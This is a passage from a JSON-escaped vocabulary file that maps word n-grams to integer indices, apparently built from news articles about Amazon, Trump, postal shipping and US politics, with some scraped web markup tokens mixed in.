frequent\": 90747,\n  \"supporters\": 90748,\n  \"salman\": 90749,\n  \"perpetrated openly\": 90750,\n  \"increasingly digital\": 90751,\n  \"graver\": 90752,\n  \"claiming ownership\": 90753,\n  \"sun rays\": 90754,\n  \"outdoor kid\": 90755,\n  \"showurl showdetailsspancontent\": 90756,\n  \"parade performers\": 90757,\n  \"700 fedex\": 90758,\n  \"nationwide communications\": 90759,\n  \"mike flynn\": 90760,\n  \"morsels\": 90761,\n  \"manager ken\": 90762,\n  \"open positions\": 90763,\n  \"c9x function\": 90764,\n  \"won big\": 90765,\n  \"differences illegal\": 90766,\n  \"case federal\": 90767,\n  \"frates\": 90768,\n  \"retailers fight\": 90769,\n  \"air funny\": 90770,\n  \"administration urges\": 90771,\n  \"corporations politicians\": 90772,\n  \"place company\": 90773,\n  \"aforementioned product\": 90774,\n  \"office demise\": 90775,\n  \"flat rate\": 90776,\n  \"funding pressure\": 90777,\n  \"rosemary oregano\": 90778,\n  \"fully detect\": 90779,\n  \"companies just\": 90780,\n  \"trump justice\": 90781,\n  \"privacy policy\": 90782,\n  \"tabloid allowed\": 90783,\n  \"google suppressing\": 90784,\n  \"condemning president\": 90785,\n  \"post ignored\": 90786,\n  \"faces\": 90787,\n  \"including public\": 90788,\n  \"400 post\": 90789,\n  \"cancer gayle\": 90790,\n  \"completed world\": 90791,\n  \"cheering supporters\": 90792,\n  \"videoplay video\": 90793,\n  \"prominent artificial\": 90794,\n  \"claiming\": 90795,\n  \"prevent attempts\": 90796,\n  \"detective returns\": 90797,\n  \"blaming\": 90798,\n  \"land shipment\": 90799,\n  \"amazon volume\": 90800,\n  \"forward cristina\": 90801,\n  \"brutally\": 90802,\n  \"issuer does\": 90803,\n  \"oppose president\": 90804,\n  \"greater regulation\": 90805,\n  \"constructed\": 90806,\n  \"getownpropertydescriptor r4ee\": 90807,\n  \"current population\": 90808,\n  \"congress announced\": 90809,\n  \"fewer cameras\": 90810,\n  \"soon need\": 90811,\n  \"googling\": 90812,\n  \"disease transform\": 90813,\n  \"tell jury\": 90814,\n  \"companies rourke\": 90815,\n  \"mode question\": 90816,\n  \"gas industry\": 90817,\n  \"showering\": 90818,\n  \"tm personal\": 90819,\n  \"survival new\": 90820,\n  \"bequeathed\": 90821,\n  \"prostrate\": 90822,\n  \"reutersmedia net\": 90823,\n  \"roiling middle\": 90824,\n  \"headlinetext cooper\": 90825,\n  \"investigation indicates\": 90826,\n  \"test flight\": 90827,\n  \"statement today\": 90828,\n  \"dog tiktok\": 90829,\n  \"rebukes trump\": 90830,\n  \"america working\": 90831,\n  \"favorable cowen\": 90832,\n  \"start preschools\": 90833,\n  \"don bias\": 90834,\n  \"crayton harrison\": 90835,\n  \"amazon marked\": 90836,\n  \"complicated legal\": 90837,\n  \"saying aug\": 90838,\n  \"284x160 uploaded_files\": 90839,\n  \"left policies\": 90840,\n  \"skit lampooning\": 90841,\n  \"addison\": 90842,\n  \"elephant does\": 90843,\n  \"zach montellaro\": 90844,\n  \"run sure\": 90845,\n  \"science companies\": 90846,\n  \"company dropped\": 90847,\n  \"homeowner insurance\": 90848,\n  \"phone cnn\": 90849,\n  \"naked selfie\": 90850,\n  \"gaining extraordinary\": 90851,\n  \"post page\": 90852,\n  \"isn hate\": 90853,\n  \"athletic apparel\": 90854,\n  \"sycophancy\": 90855,\n  \"officials reviewing\": 90856,\n  \"slowly seeing\": 90857,\n  \"exas macquarie\": 90858,\n  \"countries going\": 90859,\n  \"npa\": 90860,\n  \"info packed\": 90861,\n  \"amazon research\": 90862,\n  \"enchance logic\": 90863,\n  \"involve words\": 90864,\n  \"editor jeremy\": 90865,\n  \"owns record\": 90866,\n  \"networking switch\": 90867,\n  \"logistics operations\": 90868,\n  \"bowie second\": 90869,\n  \"louisiana deputy\": 90870,\n  \"cheating spouses\": 90871,\n  \"bank relented\": 90872,\n  \"week spring\": 90873,\n  \"course funko\": 90874,\n  \"styrofoam headstones\": 90875,\n  \"executives safra\": 90876,\n  \"tourism video\": 90877,\n  \"decline year\": 90878,\n  \"plug\": 90879,\n  \"jerusalem apr\": 90880,\n  \"audit\": 90881,\n  \"individuals apparent\": 90882,\n  \"justice alito\": 90883,\n  \"split separating\": 90884,\n  \"today includes\": 90885,\n  \"academy jack\": 90886,\n  \"investigative reporter\": 90887,\n  \"humbug\": 90888,\n  \"majority\": 90889,\n  \"sheriff office\": 90890,\n  \"stave\": 90891,\n  \"wealthy republicans\": 90892,\n  \"spat\": 90893,\n  \"texas public\": 90894,\n  \"digits dip\": 90895,\n  \"cost overruns\": 90896,\n  \"yeah john\": 90897,\n  \"suv imageurl\": 90898,\n  \"amazon highly\": 90899,\n  \"office complex\": 90900,\n  \"subsidizes packages\": 90901,\n  \"complicate things\": 90902,\n  \"rebuffed according\": 90903,\n  \"read today\": 90904,\n  \"rationing\": 90905,\n  \"muted\": 90906,\n  \"specializes\": 90907,\n  \"books thanks\": 90908,\n  \"active google\": 90909,\n  \"common love\": 90910,\n  \"trump stepped\": 90911,\n  \"streak 2018\": 90912,\n  \"bring immense\": 90913,\n  \"evaluates\": 90914,\n  \"pay income\": 90915,\n  \"bbc tesla\": 90916,\n  \"silver panel\": 90917,\n  \"incel\": 90918,\n  \"article related\": 90919,\n  \"government requests\": 90920,\n  \"fooled\": 90921,\n  \"forbes\": 90922,\n  \"amazon real\": 90923,\n  \"reconsider opening\": 90924,\n  \"amazon investment\": 90925,\n  \"hilarious commentary\": 90926,\n  \"does shine\": 90927,\n  \"emergency savings\": 90928,\n  \"department today\": 90929,\n  \"santa confronts\": 90930,\n  \"russian aggression\": 90931,\n  \"order retail\": 90932,\n  \"basis options\": 90933,\n  \"states government\": 90934,\n  \"2017 image\": 90935,\n  \"watch paint\": 90936,\n  \"overseas businesses\": 90937,\n  \"existence join\": 90938,\n  \"company eric\": 90939,\n  \"places struggle\": 90940,\n  \"moment traders\": 90941,\n  \"coastal\": 90942,\n  \"investors weighed\": 90943,\n  \"cocktail book\": 90944,\n  \"biggest jackass\": 90945,\n  \"facebook pounding\": 90946,\n  \"powered attorney\": 90947,\n  \"wedding dress\": 90948,\n  \"worker received\": 90949,\n  \"old airport\": 90950,\n  \"overarching goal\": 90951,\n  \"pays usps\": 90952,\n  \"good buddy\": 90953,\n  \"coughed\": 90954,\n  \"executives accused\": 90955,\n  \"new revenue\": 90956,\n  \"particularly alarming\": 90957,\n  \"imaginary conspiracy\": 90958,\n  \"claim market\": 90959,\n  \"politicians union\": 90960,\n  \"goal coach\": 90961,\n  \"r4ee b5q\": 90962,\n  \"case matthew\": 90963,\n  \"disapproval\": 90964,\n  \"country plus\": 90965,\n  \"jeremiah\": 90966,\n  \"bolduan want\": 90967,\n  \"drew hill\": 90968,\n  \"sleeved\": 90969,\n  \"robert lasnik\": 90970,\n  \"america storied\": 90971,\n  \"healthcare clinical\": 90972,\n  \"photo investigation\": 90973,\n  \"pg report\": 90974,\n  \"burlington\": 90975,\n  \"impact investment\": 90976,\n  \"chester spatt\": 90977,\n  \"spend far\": 90978,\n  \"leaks\": 90979,\n  \"americans nonetheless\": 90980,\n  \"happening nearby\": 90981,\n  \"ebay demanding\": 90982,\n  \"cassidy fidelity\": 90983,\n  \"trump pushes\": 90984,\n  \"ngos led\": 90985,\n  \"nasdaq tdsc\": 90986,\n  \"deserve better\": 90987,\n  \"divine intervention\": 90988,\n  \"cook trump\": 90989,\n  \"crassly\": 90990,\n  \"happens horror\": 90991,\n  \"egerton\": 90992,\n  \"departure time\": 90993,\n  \"scott homell\": 90994,\n  \"grenfell memorial\": 90995,\n  \"hsi\": 90996,\n  \"stock yards\": 90997,\n  \"aluminum imports\": 90998,\n  \"investors think\": 90999,\n  \"thrones health\": 91000,\n  \"conservative movement\": 91001,\n  \"routine\": 91002,\n  \"post ami\": 91003,\n  \"annual profits\": 91004,\n  \"broken community\": 91005,\n  \"discuss ongoing\": 91006,\n  \"atlanta ga\": 91007,\n  \"representatives led\": 91008,\n  \"tight timeline\": 91009,\n  \"controllable losses\": 91010,\n  \"date analysis\": 91011,\n  \"high powered\": 91012,\n  \"based preschools\": 91013,\n  \"weaponizing\": 91014,\n  \"dry adding\": 91015,\n  \"peak fiscal\": 91016,\n  \"chevron according\": 91017,\n  \"tola\": 91018,\n  \"uses taxpayer\": 91019,\n  \"nonsensical lenz\": 91020,\n  \"democrats target\": 91021,\n  \"customers cars\": 91022,\n  \"having millions\": 91023,\n  \"standalone proposals\": 91024,\n  \"assets 181002123302\": 91025,\n  \"released date\": 91026,\n  \"public excoriations\": 91027,\n  \"paypal rise\": 91028,\n  \"total bidders\": 91029,\n  \"agency reasonable\": 91030,\n  \"america homegrown\": 91031,\n  \"iconic science\": 91032,\n  \"calls workshare\": 91033,\n  \"storehouse\": 91034,\n  \"calm\": 91035,\n  \"publicist spoke\": 91036,\n  \"kelly clarkson\": 91037,\n  \"thirtieth street\": 91038,\n  \"decades pic\": 91039,\n  \"high student\": 91040,\n  \"groundsto\": 91041,\n  \"hawn\": 91042,\n  \"people travel\": 91043,\n  \"recovered virginia\": 91044,\n  \"new efforts\": 91045,\n  \"billionaire private\": 91046,\n  \"seattle today\": 91047,\n  \"pitted\": 91048,\n  \"spotlight\": 91049,\n  \"largest caucus\": 91050,\n  \"district office\": 91051,\n  \"amazon hickman\": 91052,\n  \"alphonso\": 91053,\n  \"post toy\": 91054,\n  \"money acquiring\": 91055,\n  \"intelligence newswire\": 91056,\n  \"rap star\": 91057,\n  \"fine issued\": 91058,\n  \"jenna bowman\": 91059,\n  \"local station\": 91060,\n  \"midterms arizona\": 91061,\n  \"sean kane\": 91062,\n  \"kaitlan great\": 91063,\n  \"walkout solidarity\": 91064,\n  \"sixth branch\": 91065,\n  \"make lot\": 91066,\n  \"americans lgbt\": 91067,\n  \"amazon agriculture\": 91068,\n  \"season don\": 91069,\n  \"deserving candidate\": 91070,\n  \"large capacity\": 91071,\n  \"korea nukes\": 91072,\n  \"house spokesman\": 91073,\n  \"seconds\": 91074,\n  \"told bloomberg\": 91075,\n  \"unlikable\": 91076,\n  \"pumpkin\": 91077,\n  \"differently\": 91078,\n  \"recorded significant\": 91079,\n  \"pioneered\": 91080,\n  \"photos reveal\": 91081,\n  \"private industry\": 91082,\n  \"including 300\": 91083,\n  \"applebaum\": 91084,\n  \"finally reached\": 91085,\n  \"send tips\": 91086,\n  \"upset amazon\": 91087,\n  \"agent column\": 91088,\n  \"cancer risk\": 91089,\n  \"trump muslim\": 91090,\n  \"flow chart\": 91091,\n  \"represented christian\": 91092,\n  \"cannabis\": 91093,\n  \"retailer sanders\": 91094,\n  \"putin public\": 91095,\n  \"trump awaits\": 91096,\n  \"cha ching\": 91097,\n  \"hours earlier\": 91098,\n  \"kim_bak\": 91099,\n  \"activities led\": 91100,\n  \"officer brett\": 91101,\n  \"\\u014228\": 91102,\n  \"overall shipping\": 91103,\n  \"nyse wfc\": 91104,\n  \"business expert\": 91105,\n  \"publisher confidant\": 91106,\n  \"set national\": 91107,\n  \"billion seriously\": 91108,\n  \"note amazons\": 91109,\n  \"trump establishment\": 91110,\n  \"lawsuit enquirer\": 91111,\n  \"ott\": 91112,\n  \"demonstrations outside\": 91113,\n  \"basically speak\": 91114,\n  \"harmful products\": 91115,\n  \"joey roulette\": 91116,\n  \"unthinkable new\": 91117,\n  \"divided according\": 91118,\n  \"nevada arizona\": 91119,\n  \"zucker\": 91120,\n  \"remark\": 91121,\n  \"videocardcontents media\": 91122,\n  \"nonsense refusing\": 91123,\n  \"refinanced 460\": 91124,\n  \"alarming tone\": 91125,\n  \"insensitivity\": 91126,\n  \"union skewered\": 91127,\n  \"rite aid\": 91128,\n  \"crumbs\": 91129,\n  \"jones stock\": 91130,\n  \"yiwu bloomberg\": 91131,\n  \"representing ami\": 91132,\n  \"unexpectedly strong\": 91133,\n  \"drew gun\": 91134,\n  \"actually start\": 91135,\n  \"academy award\": 91136,\n  \"seasonal pressure\": 91137,\n  \"imperious couple\": 91138,\n  \"rebeccaarainey tedhesson\": 91139,\n  \"deforestation despite\": 91140,\n  \"customers worldwide\": 91141,\n  \"safra\": 91142,\n  \"trump vendetta\": 91143,\n  \"data collected\": 91144,\n  \"including jj\": 91145,\n  \"sandwich typically\": 91146,\n  \"paid slots\": 91147,\n  \"melissa boteach\": 91148,\n  \"cincinnati financial\": 91149,\n  \"3000 says\": 91150,\n  \"lobbed criticisms\": 91151,\n  \"cnn sucks\": 91152,\n  \"susan solovic\": 91153,\n  \"amazon rolls\": 91154,\n  \"tom arnold\": 91155,\n  \"pre pays\": 91156,\n  \"sound area\": 91157,\n  \"gentrification\": 91158,\n  \"button issues\": 91159,\n  \"seal pac\": 91160,\n  \"jungle follows\": 91161,\n  \"clinical trial\": 91162,\n  \"msnbc just\": 91163,\n  \"psychopath decides\": 91164,\n  \"making matters\": 91165,\n  \"tunein\": 91166,\n  \"president mike\": 91167,\n  \"additional reporting\": 91168,\n  \"included diana\": 91169,\n  \"news pointed\": 91170,\n  \"comments appeared\": 91171,\n  \"rm217 45bil\": 91172,\n  \"answer peace\": 91173,\n  \"amazon overall\": 91174,\n  \"systems according\": 91175,\n  \"rhapsody\": 91176,\n  \"annual charts\": 91177,\n  \"953\": 91178,\n  \"rapes\": 91179,\n  \"intransigence\": 91180,\n  \"ainsley considers\": 91181,\n  \"story fight\": 91182,\n  \"amci\": 91183,\n  \"purvis\": 91184,\n  \"gamble business\": 91185,\n  \"healthcare athletic\": 91186,\n  \"farout\": 91187,\n  \"fcf\": 91188,\n  \"noah wyle\": 91189,\n  \"project jeremiah\": 91190,\n  \"organization limited\": 91191,\n  \"valentine day\": 91192,\n  \"don record\": 91193,\n  \"writer dee\": 91194,\n  \"peddling\": 91195,\n  \"lease renewals\": 91196,\n  \"requires companies\": 91197,\n  \"recently defended\": 91198,\n  \"joyce\": 91199,\n  \"lindsay gellman\": 91200,\n  \"angelo zino\": 91201,\n  \"massive economic\": 91202,\n  \"corey\": 91203,\n  \"committee confirmed\": 91204,\n  \"probably\": 91205,\n  \"depreciation deductions\": 91206,\n  \"long arm\": 91207,\n  \"becker told\": 91208,\n  \"divides\": 91209,\n  \"digital innovation\": 91210,\n  \"way proving\": 91211,\n  \"canpoint\": 91212,\n  \"rental units\": 91213,\n  \"stay innovative\": 91214,\n  \"angry\": 91215,\n  \"investor worry\": 91216,\n  \"soon realizes\": 91217,\n  \"virginia officials\": 91218,\n  \"coup \\u00e9tat\": 91219,\n  \"luis bracamontes\": 91220,\n  \"love story\": 91221,\n  \"licensing dailycallernewsfoundation\": 91222,\n  \"collected\": 91223,\n  \"bezos separately\": 91224,\n  \"springs mayor\": 91225,\n  \"beloved character\": 91226,\n  \"currently implemented\": 91227,\n  \"save nearly\": 91228,\n  \"mayors\": 91229,\n  \"book retailers\": 91230,\n  \"zig\": 91231,\n  \"rinds\": 91232,\n  \"including cnbc\": 91233,\n  \"poor air\": 91234,\n  \"television ad\": 91235,\n  \"westmoreland\": 91236,\n  \"company threats\": 91237,\n  \"john stiffler\": 91238,\n  \"soon engage\": 91239,\n  \"line drain\": 91240,\n  \"ruhle delivers\": 91241,\n  \"bring imageurl\": 91242,\n  \"mobile browsers\": 91243,\n  \"mark janus\": 91244,\n  \"eating wild\": 91245,\n  \"obeyed\": 91246,\n  \"sz3vf6lrhe\": 91247,\n  \"acquire snapchat\": 91248,\n  \"usps historically\": 91249,\n  \"investment trump\": 91250,\n  \"damara\": 91251,\n  \"javascript\": 91252,\n  \"shreds\": 91253,\n  \"executives including\": 91254,\n  \"good outcome\": 91255,\n  \"cheaper workforce\": 91256,\n  \"threat prank\": 91257,\n  \"return m4\": 91258,\n  \"muckerman don\": 91259,\n  \"act politico\": 91260,\n  \"food really\": 91261,\n  \"georgia press\": 91262,\n  \"stone makes\": 91263,\n  \"sands\": 91264,\n  \"fechte\": 91265,\n  \"fx supposedly\": 91266,\n  \"christine lagarde\": 91267,\n  \"sinema wins\": 91268,\n  \"asian trading\": 91269,\n  \"sarcastic conman\": 91270,\n  \"package going\": 91271,\n  \"rocket billionaires\": 91272,\n  \"arj1kzbh5h\": 91273,\n  \"president stops\": 91274,\n  \"cainiao logistics\": 91275,\n  \"newsom\": 91276,\n  \"guest opinion\": 91277,\n  \"divert\": 91278,\n  \"generate incredible\": 91279,\n  \"delivery sector\": 91280,\n  \"wework labs\": 91281,\n  \"boost designed\": 91282,\n  \"2018 guess\": 91283,\n  \"impair profitability\": 91284,\n  \"growing signs\": 91285,\n  \"operations finance\": 91286,\n  \"democrats planned\": 91287,\n  \"package carriers\": 91288,\n  \"highest options\": 91289,\n  \"fuse\": 91290,\n  \"directly involve\": 91291,\n  \"brianstelter\": 91292,\n  \"allowing missouri\": 91293,\n  \"john boyd\": 91294,\n  \"higher\": 91295,\n  \"slideshows amazon\": 91296,\n  \"offer couldn\": 91297,\n  \"president raised\": 91298,\n  \"cautiously\": 91299,\n  \"f7ce00 cnl_contributor_accessflag\": 91300,\n  \"unfolded\": 91301,\n  \"twitter punished\": 91302,\n  \"delivering toiletries\": 91303,\n  \"kormann\": 91304,\n  \"inaugural speech\": 91305,\n  \"scandal free\": 91306,\n  \"sites telling\": 91307,\n  \"theintercept\": 91308,\n  \"huge problem\": 91309,\n  \"slumber\": 91310,\n  \"taking moment\": 91311,\n  \"whatsapp amazon\": 91312,\n  \"4g\": 91313,\n  \"technology stealing\": 91314,\n  \"international crime\": 91315,\n  \"videoid nextvideourl\": 91316,\n  \"thune sd\": 91317,\n  \"spit\": 91318,\n  \"rights revolution\": 91319,\n  \"dos commands\": 91320,\n  \"racking\": 91321,\n  \"esports eden\": 91322,\n  \"report fort\": 91323,\n  \"mean feat\": 91324,\n  \"washington related\": 91325,\n  \"cassell frame\": 91326,\n  \"legendary new\": 91327,\n  \"cato\": 91328,\n  \"economies sentiment\": 91329,\n  \"launch parties\": 91330,\n  \"book appeared\": 91331,\n  \"brothels\": 91332,\n  \"diseased\": 91333,\n  \"cable companies\": 91334,\n  \"225 rising\": 91335,\n  \"team altered\": 91336,\n  \"political strife\": 91337,\n  \"caps\": 91338,\n  \"kompromat operation\": 91339,\n  \"statement ebay\": 91340,\n  \"nbc kavanaugh\": 91341,\n  \"absolute power\": 91342,\n  \"quit\": 91343,\n  \"cited priority\": 91344,\n  \"otcpk\": 91345,\n  \"house gallery\": 91346,\n  \"california authorities\": 91347,\n  \"times richer\": 91348,\n  \"commercial space\": 91349,\n  \"c2x r4ee\": 91350,\n  \"based company\": 91351,\n  \"350 words\": 91352,\n  \"you\\u00e2re staying\": 91353,\n  \"long battled\": 91354,\n  \"les moonves\": 91355,\n  \"google headquarters\": 91356,\n  \"shop using\": 91357,\n  \"music companies\": 91358,\n  \"trump reported\": 91359,\n  \"immutable condition\": 91360,\n  \"reputation limit\": 91361,\n  \"alleging amazon\": 91362,\n  \"par amazon\": 91363,\n  \"sudden people\": 91364,\n  \"addled\": 91365,\n  \"27th\": 91366,\n  \"long server\": 91367,\n  \"commercial flights\": 91368,\n  \"housing policy\": 91369,\n  \"cjr newsletter\": 91370,\n  \"morality ethic\": 91371,\n  \"chapo sent\": 91372,\n  \"flag shirts\": 91373,\n  \"autonomous trucks\": 91374,\n  \"elephant evolution\": 91375,\n  \"camille\": 91376,\n  \"complained publicly\": 91377,\n  \"warm outside\": 91378,\n  \"publicly attacking\": 91379,\n  \"caption lauren\": 91380,\n  \"economic crisis\": 91381,\n  \"human sort\": 91382,\n  \"public documents\": 91383,\n  \"liberal flank\": 91384,\n  \"west according\": 91385,\n  \"making comments\": 91386,\n  \"amc series\": 91387,\n  \"obviously benefit\": 91388,\n  \"fit hand\": 91389,\n  \"cozy collusion\": 91390,\n  \"puryear\": 91391,\n  \"south dakota\": 91392,\n  \"historic day\": 91393,\n  \"plusthat\": 91394,\n  \"metoo story\": 91395,\n  \"wage inflation\": 91396,\n  \"plumber\": 91397,\n  \"platform initially\": 91398,\n  \"china according\": 91399,\n  \"certain individuals\": 91400,\n  \"recession thought\": 91401,\n  \"trump notoriously\": 91402,\n  \"phenomenally upward\": 91403,\n  \"andrew goldstein\": 91404,\n  \"silicon\": 91405,\n  \"water climate\": 91406,\n  \"honky tonky\": 91407,\n  \"aesthetic standpoint\": 91408,\n  \"true color\": 91409,\n  \"wouldn think\": 91410,\n  \"congress named\": 91411,\n  \"money just\": 91412,\n  \"largest lobbying\": 91413,\n  \"film rights\": 91414,\n  \"867\": 91415,\n  \"vestager eu\": 91416,\n  \"service sustainable\": 91417,\n  \"city ___\": 91418,\n  \"remained steadfast\": 91419,\n  \"opaquely\": 91420,\n  \"hours president\": 91421,\n  \"unbelievable deal\": 91422,\n  \"shade roseanne\": 91423,\n  \"weekly standard\": 91424,\n  \"demand shares\": 91425,\n  \"used fear\": 91426,\n  \"country people\": 91427,\n  \"pied\": 91428,\n  \"trillion tax\": 91429,\n  \"ice nonetheless\": 91430,\n  \"lieutenant\": 91431,\n  \"extend far\": 91432,\n  \"ply\": 91433,\n  \"large chunks\": 91434,\n  \"salacious tale\": 91435,\n  \"day care\": 91436,\n  \"site highlights\": 91437,\n  \"replicate\": 91438,\n  \"monopoly power\": 91439,\n  \"accounts trump\": 91440,\n  \"glad bring\": 91441,\n  \"tano capital\": 91442,\n  \"murky trump\": 91443,\n  \"story amazons\": 91444,\n  \"reportedly concluded\": 91445,\n  \"indivisible\": 91446,\n  \"state did\": 91447,\n  \"john earnest\": 91448,\n  \"transformative power\": 91449,\n  \"romantically involved\": 91450,\n  \"bezos privately\": 91451,\n  \"merchandise stated\": 91452,\n  \"spouted\": 91453,\n  \"b7a tostring\": 91454,\n  \"pricing dec\": 91455,\n  \"initiating government\": 91456,\n  \"decade bloomberg\": 91457,\n  \"new domains\": 91458,\n  \"creatures\": 91459,\n  \"ruling class\": 91460,\n  \"slack\": 91461,\n  \"rein\": 91462,\n  \"awards columns\": 91463,\n  \"commission presidency\": 91464,\n  \"establish central\": 91465,\n  \"manager bezos\": 91466,\n  \"severe flooding\": 91467,\n  \"writer graham\": 91468,\n  \"lawmakers banned\": 91469,\n  \"week spurred\": 91470,\n  \"eye look\": 91471,\n  \"pic washington\": 91472,\n  \"discrediting\": 91473,\n  \"rapidly slowing\": 91474,\n  \"gdp coming\": 91475,\n  \"risk captive\": 91476,\n  \"tariffs escalate\": 91477,\n  \"accumulation mode\": 91478,\n  \"business russell\": 91479,\n  \"operating delivery\": 91480,\n  \"miccosukee\": 91481,\n  \"development corporation\": 91482,\n  \"businesses stand\": 91483,\n  \"safe republican\": 91484,\n  \"designing mini\": 91485,\n  \"final quarter\": 91486,\n  \"elections hit\": 91487,\n  \"wynn mgm\": 91488,\n  \"substantive disagreement\": 91489,\n  \"held overseas\": 91490,\n  \"duke left\": 91491,\n  \"douliery\": 91492,\n  \"dt\": 91493,\n  \"giant shoes\": 91494,\n  \"delivery center\": 91495,\n  \"amphibious\": 91496,\n  \"pledged 100\": 91497,\n  \"hero met\": 91498,\n  \"demanding congress\": 91499,\n  \"close attention\": 91500,\n  \"chip average\": 91501,\n  \"newsletter terms\": 91502,\n  \"jealousy game\": 91503,\n  \"skirting\": 91504,\n  \"syria nearing\": 91505,\n  \"week release\": 91506,\n  \"pf_rd_i 13270229011\": 91507,\n  \"queensbridge ravenswood\": 91508,\n  \"booze 2018\": 91509,\n  \"lawmakers remain\": 91510,\n  \"run afoul\": 91511,\n  \"press goat\": 91512,\n  \"purchases reducing\": 91513,\n  \"land labor\": 91514,\n  \"action click\": 91515,\n  \"durkin richer\": 91516,\n  \"tax returns\": 91517,\n  \"govpredict\": 91518,\n  \"amazon invented\": 91519,\n  \"accord moments\": 91520,\n  \"bulls 2019\": 91521,\n  \"states analysis\": 91522,\n  \"posting personal\": 91523,\n  \"giant cage\": 91524,\n  \"unsuccessfully\": 91525,\n  \"add fulfillment\": 91526,\n  \"post president\": 91527,\n  \"partly politically\": 91528,\n  \"international supporting\": 91529,\n  \"told fox\": 91530,\n  \"irresistibly easy\": 91531,\n  \"wider sell\": 91532,\n  \"fuss\": 91533,\n  \"illinois news\": 91534,\n  \"calls amazon\": 91535,\n  \"auto recalls\": 91536,\n  \"stakeholder support\": 91537,\n  \"weeks meeting\": 91538,\n  \"does fox\": 91539,\n  \"life sciences\": 91540,\n  \"attacks aimed\": 91541,\n  \"president battle\": 91542,\n  \"pound\": 91543,\n  \"stonewall\": 91544,\n  \"helon habila\": 91545,\n  \"britain 2019\": 91546,\n  \"language ssml\": 91547,\n  \"viral\": 91548,\n  \"say intelligence\": 91549,\n  \"news dissemination\": 91550,\n  \"timothy brien\": 91551,\n  \"arrow films\": 91552,\n  \"pass foxconn\": 91553,\n  \"bankruptcy\": 91554,\n  \"major donations\": 91555,\n  \"view bezos\": 91556,\n  \"comically preventable\": 91557,\n  \"application\": 91558,\n  \"based tech\": 91559,\n  \"making cities\": 91560,\n  \"sparks ire\": 91561,\n  \"reviewed investors\": 91562,\n  \"obama speeches\": 91563,\n  \"amazon principal\": 91564,\n  \"makes stock\": 91565,\n  \"say supporters\": 91566,\n  \"dutifully explained\": 91567,\n  \"union command\": 91568,\n  \"points worldwide\": 91569,\n  \"ceo clayton\": 91570,\n  \"air currently\": 91571,\n  \"891\": 91572,\n  \"apollo\": 91573,\n  \"chats\": 91574,\n  \"walmart website\": 91575,\n  \"apr energy\": 91576,\n  \"harlem hizzoner\": 91577,\n  \"352\": 91578,\n  \"arapahoe ave\": 91579,\n  \"administration objected\": 91580,\n  \"cnet chronicles\": 91581,\n  \"banker raymond\": 91582,\n  \"noon demonstrators\": 91583,\n  \"year patent\": 91584,\n  \"include steering\": 91585,\n  \"cambridge\": 91586,\n  \"gray prime\": 91587,\n  \"shirts magnets\": 91588,\n  \"taobao\": 91589,\n  \"political rally\": 91590,\n  \"people zuker\": 91591,\n  \"ty trippet\": 91592,\n  \"kidman says\": 91593,\n  \"worth 890\": 91594,\n  \"affect semiconductor\": 91595,\n  \"stories right\": 91596,\n  \"buy home\": 91597,\n  \"say hurts\": 91598,\n  \"specific concerns\": 91599,\n  \"says bidens\": 91600,\n  \"refugee crisis\": 91601,\n  \"paul meeks\": 91602,\n  \"continued strong\": 91603,\n  \"income billion\": 91604,\n  \"boils\": 91605,\n  \"skin lightening\": 91606,\n  \"different subject\": 91607,\n  \"know just\": 91608,\n  \"justice investigation\": 91609,\n  \"trillion level\": 91610,\n  \"dining flint\": 91611,\n  \"ftc investigation\": 91612,\n  \"fierceness\": 91613,\n  \"minimal wage\": 91614,\n  \"contact\": 91615,\n  \"wasn surprised\": 91616,\n  \"sandboxed iframes\": 91617,\n  \"coming months\": 91618,\n  \"illinois gov\": 91619,\n  \"cheaper environmentalists\": 91620,\n  \"appear suggesting\": 91621,\n  \"bombshell investigation\": 91622,\n  \"mnuchin time\": 91623,\n  \"husband david\": 91624,\n  \"covering controversial\": 91625,\n  \"dates listed\": 91626,\n  \"minority rights\": 91627,\n  \"reserve raising\": 91628,\n  \"scribner\": 91629,\n  \"says 2018\": 91630,\n  \"monitoring vast\": 91631,\n  \"president silence\": 91632,\n  \"philly\": 91633,\n  \"deb\": 91634,\n  \"overs\": 91635,\n  \"criticized washington\": 91636,\n  \"woman standing\": 91637,\n  \"estimates suggesting\": 91638,\n  \"analysis available\": 91639,\n  \"gop lambasts\": 91640,\n  \"deal nonsense\": 91641,\n  \"memphian alice\": 91642,\n  \"gift bag\": 91643,\n  \"week lab\": 91644,\n  \"contextual omnipresence\": 91645,\n  \"bottlenecks\": 91646,\n  \"motors dropped\": 91647,\n  \"new threat\": 91648,\n  \"additionally privacy\": 91649,\n  \"hates\": 91650,\n  \"new gtld\": 91651,\n  \"dc\": 91652,\n  \"seriesname\": 91653,\n  \"calif introduced\": 91654,\n  \"security\": 91655,\n  \"contributor argued\": 91656,\n  \"trade partners\": 91657,\n  \"happened amazon\": 91658,\n  \"170k\": 91659,\n  \"post fed\": 91660,\n  \"goklany\": 91661,\n  \"walmart subsidiary\": 91662,\n  \"humongous\": 91663,\n  \"cuts 2018\": 91664,\n  \"purpose splitting\": 91665,\n  \"repeatedly tweeted\": 91666,\n  \"different forms\": 91667,\n  \"internal debate\": 91668,\n  \"nationalize\": 91669,\n  \"memorandum aimed\": 91670,\n  \"scalping\": 91671,\n  \"eleventh hour\": 91672,\n  \"trump regularly\": 91673,\n  \"alternatively bartlett\": 91674,\n  \"previous high\": 91675,\n  \"interview ibama\": 91676,\n  \"consent\": 91677,\n  \"prominent placement\": 91678,\n  \"monopolies continue\": 91679,\n  \"brands remain\": 91680,\n  \"force members\": 91681,\n  \"2017 postal\": 91682,\n  \"know moser\": 91683,\n  \"ultimately failure\": 91684,\n  \"politic\": 91685,\n  \"security bonus\": 91686,\n  \"toes\": 91687,\n  \"jr draw\": 91688,\n  \"statistics 216657\": 91689,\n  \"decisions voters\": 91690,\n  \"msdc14\": 91691,\n  \"maker unveils\": 91692,\n  \"occupies\": 91693,\n  \"sears foray\": 91694,\n  \"words trump\": 91695,\n  \"warner falls\": 91696,\n  \"aftrekposten\": 91697,\n  \"struck nerve\": 91698,\n  \"marching onward\": 91699,\n  \"website ace\": 91700,\n  \"young 2018\": 91701,\n  \"estate leases\": 91702,\n  \"cotton candy\": 91703,\n  \"products blocked\": 91704,\n  \"patently false\": 91705,\n  \"brief period\": 91706,\n  \"curt\": 91707,\n  \"considerable impact\": 91708,\n  \"trump attire\": 91709,\n  \"incarceration\": 91710,\n  \"000 followers\": 91711,\n  \"gervais\": 91712,\n  \"katopodis\": 91713,\n  \"parise showtime\": 91714,\n  \"2019 buying\": 91715,\n  \"index djia\": 91716,\n  \"wouldn share\": 91717,\n  \"debbie alsdorf\": 91718,\n  \"530\": 91719,\n  \"seek federal\": 91720,\n  \"shares 